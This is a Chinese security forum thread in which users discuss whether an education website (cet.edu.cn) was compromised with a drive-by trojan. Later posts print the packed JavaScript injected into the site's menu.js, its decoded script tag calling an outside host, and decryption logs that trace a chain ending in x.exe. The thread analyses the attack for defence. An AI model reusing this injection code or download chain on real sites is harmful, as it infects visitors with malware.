有木马？[挂马][已检测 by knifed]

Maikuraki

http://www.cet.edu.cn/
KAV2009会提示有木马
S版伞加微点什么提示也没有


我错了，没记清楚是钓鱼网站

itown

A5报毒

angir

教育网一般都是挂马热门平台

自动解密没有发现可疑，卡巴报警什么？

itown

JS来的

Maikuraki

回复 3# angir
家里的台式机是卡巴，待我晚上截个图...
就记得是什么恶意对象拒绝下载
话说这个网站大概两三个月前卡巴就开始一直报警了

angir

回复 4# itown


    menu.js?

幸福的猪猪

回复 6# angir


你答对了！

1. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.5(\'<0 3=2 1="6://d.7.c/b/a.8?9"></0>\')',14,14,'script|src|javascript|language|document|writeln|http|xcdx169|js|RDCMOPQF|log|include|net|bbs'.split('|'),0,{}));}

复制代码

eval清除：

1. <script language=javascript src="http://bbs.xcdx169.net/include/log.js?RDCMOPQF"></script>}

复制代码

关于:hxxp://www.cet.edu.cn/解密的日志(全体输出 - 4):

Level 1>http://bbs.xcdx169.net/include/log.js?RDCMOPQF
Level 2>http://bbs.xcdx169.net/uc/data/tmp/h.htm?人0219
Level 3>http://bbs.xcdx169.net/uc/js/x.exe

日志由 Redoce2.0第88次修正版于 2010-2-20 16:48:51 生成。

Maikuraki

回复 7# 幸福的猪猪
到底有木有木马？

幸福的猪猪

回复 8# Maikuraki


已经提供解析日志，应该是被挂马的。

p.s.挂马网页上的下载回来的木马程序，卡巴斯基可以查杀。

basketmn

关于:hxxp://www.cet.edu.cn/解密的日志(全体输出 -  11):

Level  0>http://www.cet.edu.cn/
Level  1>http://www.cet.edu.cn/menu.js
Level  2>http://bbs.xcdx169.net/include/log.js?RDCMOPQF
Level  3>http://web2.51.la:82/go.asp?svid=4&id=3483742&tpages=+a3742ops+&ttimes=+a3742ot+&tzone=+
Level  3>http://bbs.xcdx169.net/uc/data/tmp/h.htm?人0219
Level  4>http://bbs.xcdx169.net/uc/js/x.exe ●
Level  3>http://bbs.xcdx169.net/include/jc_list
Level  1>http://www.cet.edu.cn/x.oSrc
Level  1>http://www.cet.edu.cn/a
Level  1>http://www.cet.edu.cn/x.src
Level  1>http://www.cet.edu.cn/a